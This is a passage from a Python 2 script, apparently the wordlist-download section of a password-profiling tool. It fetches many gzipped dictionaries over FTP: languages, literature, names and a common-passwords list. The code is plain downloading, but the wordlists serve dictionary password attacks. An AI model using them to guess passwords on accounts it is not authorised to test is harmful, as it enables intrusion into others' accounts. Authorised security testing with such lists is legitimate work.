os.mkdir('dictionaries/Moby/') 677 | dire = 'dictionaries/Moby/' 678 | file = open(dire+'mhyph.tar.gz', 'wb') 679 | print "\r\n[+] downloading mhyph.tar.gz..." 680 | ftp.retrbinary('RETR ' + 'mhyph.tar.gz', handleDownload) 681 | filequitter() 682 | 683 | file = open(dire+'mlang.tar.gz', 'wb') 684 | print "\r\n[+] downloading mlang.tar.gz..." 685 | ftp.retrbinary('RETR ' + 'mlang.tar.gz', handleDownload) 686 | filequitter() 687 | 688 | file = open(dire+'moby.tar.gz', 'wb') 689 | print "\r\n[+] downloading moby.tar.gz..." 690 | ftp.retrbinary('RETR ' + 'moby.tar.gz', handleDownload) 691 | filequitter() 692 | 693 | file = open(dire+'mpos.tar.gz', 'wb') 694 | print "\r\n[+] downloading mpos.tar.gz..." 695 | ftp.retrbinary('RETR ' + 'mpos.tar.gz', handleDownload) 696 | filequitter() 697 | 698 | file = open(dire+'mpron.tar.gz', 'wb') 699 | print "\r\n[+] downloading mpron.tar.gz..." 700 | ftp.retrbinary('RETR ' + 'mpron.tar.gz', handleDownload) 701 | filequitter() 702 | 703 | file = open(dire+'mthes.tar.gz', 'wb') 704 | print "\r\n[+] downloading mthes.tar.gz..." 705 | ftp.retrbinary('RETR ' + 'mthes.tar.gz', handleDownload) 706 | filequitter() 707 | 708 | file = open(dire+'mwords.tar.gz', 'wb') 709 | print "\r\n[+] downloading mwords.tar.gz..." 710 | ftp.retrbinary('RETR ' + 'mwords.tar.gz', handleDownload) 711 | filequitter() 712 | 713 | print '[+] files saved to '+ dire 714 | ftp.quit() 715 | exit() 716 | 717 | if filedown == "2": 718 | print "[+] connecting..." 719 | ftp = ftplib.FTP(ftpurl) 720 | downloader() 721 | ftp.cwd('afrikaans') 722 | if os.path.isdir('dictionaries/afrikaans/') == 0: 723 | os.mkdir('dictionaries/afrikaans/') 724 | dire = 'dictionaries/afrikaans/' 725 | 726 | file = open(dire+'afr_dbf.zip', 'wb') 727 | print "\r\n[+] downloading afr_dbf.zip..." 728 | ftp.retrbinary('RETR ' + 'afr_dbf.zip', handleDownload) 729 | filequitter() 730 | 731 | print '[+] file saved to '+ dire 732 | ftp.quit() 733 | exit() 734 | 735 | if filedown == "3": 736 | print "[+] connecting..." 737 | ftp = ftplib.FTP(ftpurl) 738 | downloader() 739 | ftp.cwd('american') 740 | if os.path.isdir('dictionaries/american/') == 0: 741 | os.mkdir('dictionaries/american/') 742 | dire = 'dictionaries/american/' 743 | 744 | file = open(dire+'dic-0294.tar.gz', 'wb') 745 | print "\r\n[+] downloading dic-0294.tar.gz..." 746 | ftp.retrbinary('RETR ' + 'dic-0294.tar.gz', handleDownload) 747 | filequitter() 748 | 749 | print '[+] file saved to '+ dire 750 | ftp.quit() 751 | exit() 752 | 753 | if filedown == "4": 754 | print "[+] connecting..." 755 | ftp = ftplib.FTP(ftpurl) 756 | downloader() 757 | ftp.cwd('aussie') 758 | if os.path.isdir('dictionaries/aussie/') == 0: 759 | os.mkdir('dictionaries/aussie/') 760 | dire = 'dictionaries/aussie/' 761 | 762 | file = open(dire+'oz.gz', 'wb') 763 | print "\r\n[+] downloading oz.gz..." 764 | ftp.retrbinary('RETR ' + 'oz.gz', handleDownload) 765 | filequitter() 766 | 767 | print '[+] file saved to '+ dire 768 | ftp.quit() 769 | exit() 770 | 771 | 772 | if filedown == "5": 773 | print "[+] connecting..." 774 | ftp = ftplib.FTP(ftpurl) 775 | downloader() 776 | ftp.cwd('chinese') 777 | if os.path.isdir('dictionaries/chinese/') == 0: 778 | os.mkdir('dictionaries/chinese/') 779 | dire = 'dictionaries/chinese/' 780 | 781 | file = open(dire+'chinese.gz', 'wb') 782 | print "\r\n[+] downloading chinese.gz..." 783 | ftp.retrbinary('RETR ' + 'chinese.gz', handleDownload) 784 | filequitter() 785 | 786 | print '[+] file saved to '+ dire 787 | ftp.quit() 788 | exit() 789 | 790 | if filedown == "6": 791 | print "[+] connecting..." 792 | ftp = ftplib.FTP(ftpurl) 793 | downloader() 794 | ftp.cwd('computer') 795 | if os.path.isdir('dictionaries/computer/') == 0: 796 | os.mkdir('dictionaries/computer/') 797 | dire = 'dictionaries/computer/' 798 | 799 | file = open(dire+'Domains.gz', 'wb') 800 | print "\r\n[+] downloading Domains.gz..." 801 | ftp.retrbinary('RETR ' + 'Domains.gz', handleDownload) 802 | filequitter() 803 | 804 | file = open(dire+'Dosref.gz', 'wb') 805 | print "\r\n[+] downloading Dosref.gz..." 806 | ftp.retrbinary('RETR ' + 'Dosref.gz', handleDownload) 807 | filequitter() 808 | 809 | file = open(dire+'Ftpsites.gz', 'wb') 810 | print "\r\n[+] downloading Ftpsites.gz..." 811 | ftp.retrbinary('RETR ' + 'Ftpsites.gz', handleDownload) 812 | filequitter() 813 | 814 | file = open(dire+'Jargon.gz', 'wb') 815 | print "\r\n[+] downloading Jargon.gz..." 816 | ftp.retrbinary('RETR ' + 'Jargon.gz', handleDownload) 817 | filequitter() 818 | 819 | file = open(dire+'common-passwords.txt.gz', 'wb') 820 | print "\r\n[+] downloading common-passwords.txt.gz..." 821 | ftp.retrbinary('RETR ' + 'common-passwords.txt.gz', handleDownload) 822 | filequitter() 823 | 824 | file = open(dire+'etc-hosts.gz', 'wb') 825 | print "\r\n[+] downloading etc-hosts.gz..." 826 | ftp.retrbinary('RETR ' + 'etc-hosts.gz', handleDownload) 827 | filequitter() 828 | 829 | file = open(dire+'foldoc.gz', 'wb') 830 | print "\r\n[+] downloading foldoc.gz..." 831 | ftp.retrbinary('RETR ' + 'foldoc.gz', handleDownload) 832 | filequitter() 833 | 834 | file = open(dire+'language-list.gz', 'wb') 835 | print "\r\n[+] downloading language-list.gz..." 836 | ftp.retrbinary('RETR ' + 'language-list.gz', handleDownload) 837 | filequitter() 838 | 839 | file = open(dire+'unix.gz', 'wb') 840 | print "\r\n[+] downloading unix.gz..." 841 | ftp.retrbinary('RETR ' + 'unix.gz', handleDownload) 842 | filequitter() 843 | 844 | print '[+] files saved to '+ dire 845 | ftp.quit() 846 | exit() 847 | 848 | if filedown == "7": 849 | print "[+] connecting..." 850 | ftp = ftplib.FTP(ftpurl) 851 | downloader() 852 | ftp.cwd('croatian') 853 | if os.path.isdir('dictionaries/croatian/') == 0: 854 | os.mkdir('dictionaries/croatian/') 855 | dire = 'dictionaries/croatian/' 856 | 857 | file = open(dire+'croatian.gz', 'wb') 858 | print "\r\n[+] downloading croatian.gz..." 859 | ftp.retrbinary('RETR ' + 'croatian.gz', handleDownload) 860 | filequitter() 861 | 862 | print '[+] file saved to '+ dire 863 | ftp.quit() 864 | exit() 865 | 866 | if filedown == "8": 867 | print "[+] connecting..." 868 | ftp = ftplib.FTP(ftpurl) 869 | downloader() 870 | ftp.cwd('czech') 871 | if os.path.isdir('dictionaries/czech/') == 0: 872 | os.mkdir('dictionaries/czech/') 873 | dire = 'dictionaries/czech/' 874 | 875 | file = open(dire+'czech-wordlist-ascii-cstug-novak.gz', 'wb') 876 | print "\r\n[+] downloading czech-wordlist-ascii-cstug-novak.gz..." 877 | ftp.retrbinary('RETR ' + 'czech-wordlist-ascii-cstug-novak.gz', handleDownload) 878 | filequitter() 879 | 880 | print '[+] file saved to '+ dire 881 | ftp.quit() 882 | exit() 883 | 884 | 885 | if filedown == "9": 886 | print "[+] connecting..." 887 | ftp = ftplib.FTP(ftpurl) 888 | downloader() 889 | ftp.cwd('danish') 890 | if os.path.isdir('dictionaries/danish/') == 0: 891 | os.mkdir('dictionaries/danish/') 892 | dire = 'dictionaries/danish/' 893 | 894 | file = open(dire+'danish.words.gz', 'wb') 895 | print "\r\n[+] downloading danish.words.gz..." 896 | ftp.retrbinary('RETR ' + 'danish.words.gz', handleDownload) 897 | filequitter() 898 | 899 | file = open(dire+'dansk.zip', 'wb') 900 | print "\r\n[+] downloading dansk.zip..." 901 | ftp.retrbinary('RETR ' + 'dansk.zip', handleDownload) 902 | filequitter() 903 | 904 | print '[+] files saved to '+ dire 905 | ftp.quit() 906 | exit() 907 | 908 | if filedown == "10": 909 | print "[+] connecting..." 910 | ftp = ftplib.FTP(ftpurl) 911 | downloader() 912 | ftp.cwd('databases') 913 | if os.path.isdir('dictionaries/databases/') == 0: 914 | os.mkdir('dictionaries/databases/') 915 | dire = 'dictionaries/databases/' 916 | 917 | file = open(dire+'acronyms.gz', 'wb') 918 | print "\r\n[+] downloading acronyms.gz..." 919 | ftp.retrbinary('RETR ' + 'acronyms.gz', handleDownload) 920 | filequitter() 921 | 922 | file = open(dire+'att800.gz', 'wb') 923 | print "\r\n[+] downloading att800.gz..." 924 | ftp.retrbinary('RETR ' + 'att800.gz', handleDownload) 925 | filequitter() 926 | 927 | file = open(dire+'computer-companies.gz', 'wb') 928 | print "\r\n[+] downloading computer-companies.gz..." 929 | ftp.retrbinary('RETR ' + 'computer-companies.gz', handleDownload) 930 | filequitter() 931 | 932 | file = open(dire+'world_heritage.gz', 'wb') 933 | print "\r\n[+] downloading world_heritage.gz..." 934 | ftp.retrbinary('RETR ' + 'world_heritage.gz', handleDownload) 935 | filequitter() 936 | 937 | print '[+] files saved to '+ dire 938 | ftp.quit() 939 | exit() 940 | 941 | if filedown == "11": 942 | print "[+] connecting..." 943 | ftp = ftplib.FTP(ftpurl) 944 | downloader() 945 | ftp.cwd('dictionaries') 946 | if os.path.isdir('dictionaries/dictionaries/') == 0: 947 | os.mkdir('dictionaries/dictionaries/') 948 | dire = 'dictionaries/dictionaries/' 949 | 950 | file = open(dire+'Antworth.gz', 'wb') 951 | print "\r\n[+] downloading Antworth.gz..." 952 | ftp.retrbinary('RETR ' + 'Antworth.gz', handleDownload) 953 | filequitter() 954 | 955 | file = open(dire+'CRL.words.gz', 'wb') 956 | print "\r\n[+] downloading CRL.words.gz..." 957 | ftp.retrbinary('RETR ' + 'CRL.words.gz', handleDownload) 958 | filequitter() 959 | 960 | file = open(dire+'Roget.words.gz', 'wb') 961 | print "\r\n[+] downloading Roget.words.gz..." 962 | ftp.retrbinary('RETR ' + 'Roget.words.gz', handleDownload) 963 | filequitter() 964 | 965 | file = open(dire+'Unabr.dict.gz', 'wb') 966 | print "\r\n[+] downloading Unabr.dict.gz..." 967 | ftp.retrbinary('RETR ' + 'Unabr.dict.gz', handleDownload) 968 | filequitter() 969 | 970 | file = open(dire+'Unix.dict.gz', 'wb') 971 | print "\r\n[+] downloading Unix.dict.gz..." 972 | ftp.retrbinary('RETR ' + 'Unix.dict.gz', handleDownload) 973 | filequitter() 974 | 975 | file = open(dire+'englex-dict.gz', 'wb') 976 | print "\r\n[+] downloading englex-dict.gz..." 977 | ftp.retrbinary('RETR ' + 'englex-dict.gz', handleDownload) 978 | filequitter() 979 | 980 | file = open(dire+'knuth_britsh.gz', 'wb') 981 | print "\r\n[+] downloading knuth_britsh.gz..." 982 | ftp.retrbinary('RETR ' + 'knuth_britsh.gz', handleDownload) 983 | filequitter() 984 | 985 | file = open(dire+'knuth_words.gz', 'wb') 986 | print "\r\n[+] downloading knuth_words.gz..." 987 | ftp.retrbinary('RETR ' + 'knuth_words.gz', handleDownload) 988 | filequitter() 989 | 990 | file = open(dire+'pocket-dic.gz', 'wb') 991 | print "\r\n[+] downloading pocket-dic.gz..." 992 | ftp.retrbinary('RETR ' + 'pocket-dic.gz', handleDownload) 993 | filequitter() 994 | 995 | file = open(dire+'shakesp-glossary.gz', 'wb') 996 | print "\r\n[+] downloading shakesp-glossary.gz..." 997 | ftp.retrbinary('RETR ' + 'shakesp-glossary.gz', handleDownload) 998 | filequitter() 999 | 1000 | file = open(dire+'special.eng.gz', 'wb') 1001 | print "\r\n[+] downloading special.eng.gz..." 1002 | ftp.retrbinary('RETR ' + 'special.eng.gz', handleDownload) 1003 | filequitter() 1004 | 1005 | file = open(dire+'words-english.gz', 'wb') 1006 | print "\r\n[+] downloading words-english.gz..." 1007 | ftp.retrbinary('RETR ' + 'words-english.gz', handleDownload) 1008 | filequitter() 1009 | 1010 | print '[+] files saved to '+ dire 1011 | ftp.quit() 1012 | exit() 1013 | 1014 | if filedown == "12": 1015 | print "[+] connecting..." 1016 | ftp = ftplib.FTP(ftpurl) 1017 | downloader() 1018 | ftp.cwd('dutch') 1019 | if os.path.isdir('dictionaries/dutch/') == 0: 1020 | os.mkdir('dictionaries/dutch/') 1021 | dire = 'dictionaries/dutch/' 1022 | 1023 | file = open(dire+'words.dutch.gz', 'wb') 1024 | print "\r\n[+] downloading words.dutch.gz..." 1025 | ftp.retrbinary('RETR ' + 'words.dutch.gz', handleDownload) 1026 | filequitter() 1027 | 1028 | print '[+] file saved to '+ dire 1029 | ftp.quit() 1030 | exit() 1031 | 1032 | if filedown == "13": 1033 | print "[+] connecting..." 1034 | ftp = ftplib.FTP(ftpurl) 1035 | downloader() 1036 | ftp.cwd('finnish') 1037 | if os.path.isdir('dictionaries/finnish/') == 0: 1038 | os.mkdir('dictionaries/finnish/') 1039 | dire = 'dictionaries/finnish/' 1040 | 1041 | file = open(dire+'finnish.gz', 'wb') 1042 | print "\r\n[+] downloading finnish.gz..." 1043 | ftp.retrbinary('RETR ' + 'finnish.gz', handleDownload) 1044 | filequitter() 1045 | 1046 | file = open(dire+'firstnames.finnish.gz', 'wb') 1047 | print "\r\n[+] downloading firstnames.finnish.gz..." 1048 | ftp.retrbinary('RETR ' + 'firstnames.finnish.gz', handleDownload) 1049 | filequitter() 1050 | 1051 | file = open(dire+'words.finnish.FAQ.gz', 'wb') 1052 | print "\r\n[+] downloading words.finnish.FAQ.gz..." 1053 | ftp.retrbinary('RETR ' + 'words.finnish.FAQ.gz', handleDownload) 1054 | filequitter() 1055 | 1056 | print '[+] files saved to '+ dire 1057 | ftp.quit() 1058 | exit() 1059 | 1060 | if filedown == "14": 1061 | print "[+] connecting..." 1062 | ftp = ftplib.FTP(ftpurl) 1063 | downloader() 1064 | ftp.cwd('french') 1065 | if os.path.isdir('dictionaries/french/') == 0: 1066 | os.mkdir('dictionaries/french/') 1067 | dire = 'dictionaries/french/' 1068 | 1069 | file = open(dire+'dico.gz', 'wb') 1070 | print "\r\n[+] downloading dico.gz..." 1071 | ftp.retrbinary('RETR ' + 'dico.gz', handleDownload) 1072 | filequitter() 1073 | 1074 | print '[+] file saved to '+ dire 1075 | ftp.quit() 1076 | exit() 1077 | 1078 | if filedown == "15": 1079 | print "[+] connecting..." 1080 | ftp = ftplib.FTP(ftpurl) 1081 | downloader() 1082 | ftp.cwd('german') 1083 | if os.path.isdir('dictionaries/german/') == 0: 1084 | os.mkdir('dictionaries/german/') 1085 | dire = 'dictionaries/german/' 1086 | 1087 | file = open(dire+'deutsch.dic.gz', 'wb') 1088 | print "\r\n[+] downloading deutsch.dic.gz..." 1089 | ftp.retrbinary('RETR ' + 'deutsch.dic.gz', handleDownload) 1090 | filequitter() 1091 | 1092 | file = open(dire+'germanl.gz', 'wb') 1093 | print "\r\n[+] downloading germanl.gz..." 1094 | ftp.retrbinary('RETR ' + 'germanl.gz', handleDownload) 1095 | filequitter() 1096 | 1097 | file = open(dire+'words.german.gz', 'wb') 1098 | print "\r\n[+] downloading words.german.gz..." 1099 | ftp.retrbinary('RETR ' + 'words.german.gz', handleDownload) 1100 | filequitter() 1101 | 1102 | print '[+] files saved to '+ dire 1103 | ftp.quit() 1104 | exit() 1105 | 1106 | if filedown == "16": 1107 | print "[+] connecting..." 1108 | ftp = ftplib.FTP(ftpurl) 1109 | downloader() 1110 | ftp.cwd('hindi') 1111 | if os.path.isdir('dictionaries/hindi/') == 0: 1112 | os.mkdir('dictionaries/hindi/') 1113 | dire = 'dictionaries/hindi/' 1114 | 1115 | file = open(dire+'hindu-names.gz', 'wb') 1116 | print "\r\n[+] downloading hindu-names.gz..." 1117 | ftp.retrbinary('RETR ' + 'hindu-names.gz', handleDownload) 1118 | filequitter() 1119 | 1120 | print '[+] file saved to '+ dire 1121 | ftp.quit() 1122 | exit() 1123 | 1124 | if filedown == "17": 1125 | print "[+] connecting..." 1126 | ftp = ftplib.FTP(ftpurl) 1127 | downloader() 1128 | ftp.cwd('hungarian') 1129 | if os.path.isdir('dictionaries/hungarian/') == 0: 1130 | os.mkdir('dictionaries/hungarian/') 1131 | dire = 'dictionaries/hungarian/' 1132 | 1133 | file = open(dire+'hungarian.gz', 'wb') 1134 | print "\r\n[+] downloading hungarian.gz..." 1135 | ftp.retrbinary('RETR ' + 'hungarian.gz', handleDownload) 1136 | filequitter() 1137 | 1138 | print '[+] file saved to '+ dire 1139 | ftp.quit() 1140 | exit() 1141 | 1142 | if filedown == "18": 1143 | print "[+] connecting..." 1144 | ftp = ftplib.FTP(ftpurl) 1145 | downloader() 1146 | ftp.cwd('italian') 1147 | if os.path.isdir('dictionaries/italian/') == 0: 1148 | os.mkdir('dictionaries/italian/') 1149 | dire = 'dictionaries/italian/' 1150 | 1151 | file = open(dire+'words.italian.gz', 'wb') 1152 | print "\r\n[+] downloading words.italian.gz..." 1153 | ftp.retrbinary('RETR ' + 'words.italian.gz', handleDownload) 1154 | filequitter() 1155 | 1156 | print '[+] file saved to '+ dire 1157 | ftp.quit() 1158 | exit() 1159 | 1160 | if filedown == "19": 1161 | print "[+] connecting..." 1162 | ftp = ftplib.FTP(ftpurl) 1163 | downloader() 1164 | ftp.cwd('japanese') 1165 | if os.path.isdir('dictionaries/japanese/') == 0: 1166 | os.mkdir('dictionaries/japanese/') 1167 | dire = 'dictionaries/japanese/' 1168 | 1169 | file = open(dire+'words.japanese.gz', 'wb') 1170 | print "\r\n[+] downloading words.japanese.gz..." 1171 | ftp.retrbinary('RETR ' + 'words.japanese.gz', handleDownload) 1172 | filequitter() 1173 | 1174 | print '[+] file saved to '+ dire 1175 | ftp.quit() 1176 | exit() 1177 | 1178 | if filedown == "20": 1179 | print "[+] connecting..." 1180 | ftp = ftplib.FTP(ftpurl) 1181 | downloader() 1182 | ftp.cwd('latin') 1183 | if os.path.isdir('dictionaries/latin/') == 0: 1184 | os.mkdir('dictionaries/latin/') 1185 | dire = 'dictionaries/latin/' 1186 | 1187 | file = open(dire+'wordlist.aug.gz', 'wb') 1188 | print "\r\n[+] downloading wordlist.aug.gz..." 1189 | ftp.retrbinary('RETR ' + 'wordlist.aug.gz', handleDownload) 1190 | filequitter() 1191 | 1192 | print '[+] file saved to '+ dire 1193 | ftp.quit() 1194 | exit() 1195 | 1196 | if filedown == "21": 1197 | print "[+] connecting..." 1198 | ftp = ftplib.FTP(ftpurl) 1199 | downloader() 1200 | ftp.cwd('literature') 1201 | if os.path.isdir('dictionaries/literature/') == 0: 1202 | os.mkdir('dictionaries/literature/') 1203 | dire = 'dictionaries/literature/' 1204 | 1205 | file = open(dire+'LCarrol.gz', 'wb') 1206 | print "\r\n[+] downloading LCarrol.gz..." 1207 | ftp.retrbinary('RETR ' + 'LCarrol.gz', handleDownload) 1208 | filequitter() 1209 | 1210 | file = open(dire+'Paradise.Lost.gz', 'wb') 1211 | print "\r\n[+] downloading Paradise.Lost.gz..." 1212 | ftp.retrbinary('RETR ' + 'Paradise.Lost.gz', handleDownload) 1213 | filequitter() 1214 | 1215 | file = open(dire+'aeneid.gz', 'wb') 1216 | print "\r\n[+] downloading aeneid.gz..." 1217 | ftp.retrbinary('RETR ' + 'aeneid.gz', handleDownload) 1218 | filequitter() 1219 | 1220 | file = open(dire+'arthur.gz', 'wb') 1221 | print "\r\n[+] downloading arthur.gz..." 1222 | ftp.retrbinary('RETR ' + 'arthur.gz', handleDownload) 1223 | filequitter() 1224 | 1225 | file = open(dire+'cartoon.gz', 'wb') 1226 | print "\r\n[+] downloading cartoon.gz..." 1227 | ftp.retrbinary('RETR ' + 'cartoon.gz', handleDownload) 1228 | filequitter() 1229 | 1230 | file = open(dire+'cartoons-olivier.gz', 'wb') 1231 | print "\r\n[+] downloading cartoons-olivier.gz..." 1232 | ftp.retrbinary('RETR ' + 'cartoons-olivier.gz', handleDownload) 1233 | filequitter() 1234 | 1235 | file = open(dire+'charlemagne.gz', 'wb') 1236 | print "\r\n[+] downloading charlemagne.gz..." 1237 | ftp.retrbinary('RETR ' + 'charlemagne.gz', handleDownload) 1238 | filequitter() 1239 | 1240 | file = open(dire+'fable.gz', 'wb') 1241 | print "\r\n[+] downloading fable.gz..." 1242 | ftp.retrbinary('RETR ' + 'fable.gz', handleDownload) 1243 | filequitter() 1244 | 1245 | file = open(dire+'iliad.gz', 'wb') 1246 | print "\r\n[+] downloading iliad.gz..." 1247 | ftp.retrbinary('RETR ' + 'iliad.gz', handleDownload) 1248 | filequitter() 1249 | 1250 | file = open(dire+'myths-legends.gz', 'wb') 1251 | print "\r\n[+] downloading myths-legends.gz..." 1252 | ftp.retrbinary('RETR ' + 'myths-legends.gz', handleDownload) 1253 | filequitter() 1254 | 1255 | file = open(dire+'odyssey.gz', 'wb') 1256 | print "\r\n[+] downloading odyssey.gz..." 1257 | ftp.retrbinary('RETR ' + 'odyssey.gz', handleDownload) 1258 | filequitter() 1259 | 1260 | file = open(dire+'sf.gz', 'wb') 1261 | print "\r\n[+] downloading sf.gz..." 1262 | ftp.retrbinary('RETR ' + 'sf.gz', handleDownload) 1263 | filequitter() 1264 | 1265 | file = open(dire+'shakespeare.gz', 'wb') 1266 | print "\r\n[+] downloading shakespeare.gz..." 1267 | ftp.retrbinary('RETR ' + 'shakespeare.gz', handleDownload) 1268 | filequitter() 1269 | 1270 | file = open(dire+'tolkien.words.gz', 'wb') 1271 | print "\r\n[+] downloading tolkien.words.gz..." 1272 | ftp.retrbinary('RETR ' + 'tolkien.words.gz', handleDownload) 1273 | filequitter() 1274 | 1275 | print '[+] files saved to '+ dire 1276 | ftp.quit() 1277 | exit() 1278 | 1279 | if filedown == "22": 1280 | print "[+] connecting..." 1281 | ftp = ftplib.FTP(ftpurl) 1282 | downloader() 1283 | ftp.cwd('movieTV') 1284 | if os.path.isdir('dictionaries/movieTV/') == 0: 1285 | os.mkdir('dictionaries/movieTV/') 1286 | dire = 'dictionaries/movieTV/' 1287 | 1288 | file = open(dire+'Movies.gz', 'wb') 1289 | print "\r\n[+] downloading Movies.gz..." 1290 | ftp.retrbinary('RETR ' + 'Movies.gz', handleDownload) 1291 | filequitter() 1292 | 1293 | file = open(dire+'Python.gz', 'wb') 1294 | print "\r\n[+] downloading Python.gz..." 1295 | ftp.retrbinary('RETR ' + 'Python.gz', handleDownload) 1296 | filequitter() 1297 | 1298 | file = open(dire+'Trek.gz', 'wb') 1299 | print "\r\n[+] downloading Trek.gz..." 1300 | ftp.retrbinary('RETR ' + 'Trek.gz', handleDownload) 1301 | filequitter() 1302 | 1303 | print '[+] files saved to '+ dire 1304 | ftp.quit() 1305 | exit() 1306 | 1307 | if filedown == "23": 1308 | print "[+] connecting..." 1309 | ftp = ftplib.FTP(ftpurl) 1310 | downloader() 1311 | ftp.cwd('music') 1312 | if os.path.isdir('dictionaries/music/') == 0: 1313 | os.mkdir('dictionaries/music/') 1314 | dire = 'dictionaries/music/' 1315 | 1316 | file = open(dire+'music-classical.gz', 'wb') 1317 | print "\r\n[+] downloading music-classical.gz..." 1318 | ftp.retrbinary('RETR ' + 'music-classical.gz', handleDownload) 1319 | filequitter() 1320 | 1321 | file = open(dire+'music-country.gz', 'wb') 1322 | print "\r\n[+] downloading music-country.gz..." 1323 | ftp.retrbinary('RETR ' + 'music-country.gz', handleDownload) 1324 | filequitter() 1325 | 1326 | file = open(dire+'music-jazz.gz', 'wb') 1327 | print "\r\n[+] downloading music-jazz.gz..." 1328 | ftp.retrbinary('RETR ' + 'music-jazz.gz', handleDownload) 1329 | filequitter() 1330 | 1331 | file = open(dire+'music-other.gz', 'wb') 1332 | print "\r\n[+] downloading music-other.gz..." 1333 | ftp.retrbinary('RETR ' + 'music-other.gz', handleDownload) 1334 | filequitter() 1335 | 1336 | file = open(dire+'music-rock.gz', 'wb') 1337 | print "\r\n[+] downloading music-rock.gz..." 1338 | ftp.retrbinary('RETR ' + 'music-rock.gz', handleDownload) 1339 | filequitter() 1340 | 1341 | file = open(dire+'music-shows.gz', 'wb') 1342 | print "\r\n[+] downloading music-shows.gz..." 1343 | ftp.retrbinary('RETR ' + 'music-shows.gz', handleDownload) 1344 | filequitter() 1345 | 1346 | file = open(dire+'rock-groups.gz', 'wb') 1347 | print "\r\n[+] downloading rock-groups.gz..." 1348 | ftp.retrbinary('RETR ' + 'rock-groups.gz', handleDownload) 1349 | filequitter() 1350 | 1351 | print '[+] files saved to '+ dire 1352 | ftp.quit() 1353 | exit() 1354 | 1355 | if filedown == "24": 1356 | print "[+] connecting..." 1357 | ftp = ftplib.FTP(ftpurl) 1358 | downloader() 1359 | ftp.cwd('names') 1360 | if os.path.isdir('dictionaries/names/') == 0: 1361 | os.mkdir('dictionaries/names/') 1362 | dire = 'dictionaries/names/' 1363 | 1364 | file = open(dire+'ASSurnames.gz', 'wb') 1365 | print "\r\n[+] downloading ASSurnames.gz..." 1366 | ftp.retrbinary('RETR ' + 'ASSurnames.gz', handleDownload) 1367 | filequitter() 1368 | 1369 | file = open(dire+'Congress.gz', 'wb') 1370 | print "\r\n[+] downloading Congress.gz..." 1371 | ftp.retrbinary('RETR ' + 'Congress.gz', handleDownload) 1372 | filequitter() 1373 | 1374 | file = open(dire+'Family-Names.gz', 'wb') 1375 | print "\r\n[+] downloading Family-Names.gz..." 1376 | ftp.retrbinary('RETR ' + 'Family-Names.gz', handleDownload) 1377 | filequitter() 1378 | 1379 | file = open(dire+'Given-Names.gz', 'wb') 1380 | print "\r\n[+] downloading Given-Names.gz..." 1381 | ftp.retrbinary('RETR ' + 'Given-Names.gz', handleDownload) 1382 | filequitter() 1383 | 1384 | file = open(dire+'actor-givenname.gz', 'wb') 1385 | print "\r\n[+] downloading actor-givenname.gz..." 1386 | ftp.retrbinary('RETR ' + 'actor-givenname.gz', handleDownload) 1387 | filequitter() 1388 | 1389 | file = open(dire+'actor-surname.gz', 'wb') 1390 | print "\r\n[+] downloading actor-surname.gz..." 1391 | ftp.retrbinary('RETR ' + 'actor-surname.gz', handleDownload) 1392 | filequitter() 1393 | 1394 | file = open(dire+'cis-givenname.gz', 'wb') 1395 | print "\r\n[+] downloading cis-givenname.gz..." 1396 | ftp.retrbinary('RETR ' + 'cis-givenname.gz', handleDownload) 1397 | filequitter() 1398 | 1399 | file = open(dire+'cis-surname.gz', 'wb') 1400 | print "\r\n[+] downloading cis-surname.gz..." 1401 | ftp.retrbinary('RETR ' + 'cis-surname.gz', handleDownload) 1402 | filequitter() 1403 | 1404 | file = open(dire+'crl-names.gz', 'wb') 1405 | print "\r\n[+] downloading crl-names.gz..." 1406 | ftp.retrbinary('RETR ' + 'crl-names.gz', handleDownload) 1407 | filequitter() 1408 | 1409 | file = open(dire+'famous.gz', 'wb') 1410 | print "\r\n[+] downloading famous.gz..." 1411 | ftp.retrbinary('RETR ' + 'famous.gz', handleDownload) 1412 | filequitter() 1413 | 1414 | file = open(dire+'fast-names.gz', 'wb') 1415 | print "\r\n[+] downloading fast-names.gz..." 1416 | ftp.retrbinary('RETR ' + 'fast-names.gz', handleDownload) 1417 | filequitter() 1418 | 1419 | file = open(dire+'female-names-kantr.gz', 'wb') 1420 | print "\r\n[+] downloading female-names-kantr.gz..." 1421 | ftp.retrbinary('RETR ' + 'female-names-kantr.gz', handleDownload) 1422 | filequitter() 1423 | 1424 | file = open(dire+'female-names.gz', 'wb') 1425 | print "\r\n[+] downloading female-names.gz..." 1426 | ftp.retrbinary('RETR ' + 'female-names.gz', handleDownload) 1427 | filequitter() 1428 | 1429 | file = open(dire+'givennames-ol.gz', 'wb') 1430 | print "\r\n[+] downloading givennames-ol.gz..." 1431 | ftp.retrbinary('RETR ' + 'givennames-ol.gz', handleDownload) 1432 | filequitter() 1433 | 1434 | file = open(dire+'male-names-kantr.gz', 'wb') 1435 | print "\r\n[+] downloading male-names-kantr.gz..." 1436 | ftp.retrbinary('RETR ' + 'male-names-kantr.gz', handleDownload) 1437 | filequitter() 1438 | 1439 | file = open(dire+'male-names.gz', 'wb') 1440 | print "\r\n[+] downloading male-names.gz..." 1441 | ftp.retrbinary('RETR ' + 'male-names.gz', handleDownload) 1442 | filequitter() 1443 | 1444 | file = open(dire+'movie-characters.gz', 'wb') 1445 | print "\r\n[+] downloading movie-characters.gz..." 1446 | ftp.retrbinary('RETR ' + 'movie-characters.gz', handleDownload) 1447 | filequitter() 1448 | 1449 | file = open(dire+'names.french.gz', 'wb') 1450 | print "\r\n[+] downloading names.french.gz..." 1451 | ftp.retrbinary('RETR ' + 'names.french.gz', handleDownload) 1452 | filequitter() 1453 | 1454 | file = open(dire+'names.hp.gz', 'wb') 1455 | print "\r\n[+] downloading names.hp.gz..." 1456 | ftp.retrbinary('RETR ' + 'names.hp.gz', handleDownload) 1457 | filequitter() 1458 | 1459 | file = open(dire+'other-names.gz', 'wb') 1460 | print "\r\n[+] downloading other-names.gz..." 1461 | ftp.retrbinary('RETR ' + 'other-names.gz', handleDownload) 1462 | filequitter() 1463 | 1464 | file = open(dire+'shakesp-names.gz', 'wb') 1465 | print "\r\n[+] downloading shakesp-names.gz..." 1466 | ftp.retrbinary('RETR ' + 'shakesp-names.gz', handleDownload) 1467 | filequitter() 1468 | 1469 | file = open(dire+'surnames-ol.gz', 'wb') 1470 | print "\r\n[+] downloading surnames-ol.gz..." 1471 | ftp.retrbinary('RETR ' + 'surnames-ol.gz', handleDownload) 1472 | filequitter() 1473 | 1474 | file = open(dire+'surnames.finnish.gz', 'wb') 1475 | print "\r\n[+] downloading surnames.finnish.gz..." 1476 | ftp.retrbinary('RETR ' + 'surnames.finnish.gz', handleDownload) 1477 | filequitter() 1478 | 1479 | file = open(dire+'usenet-names.gz', 'wb') 1480 | print "\r\n[+] downloading usenet-names.gz..." 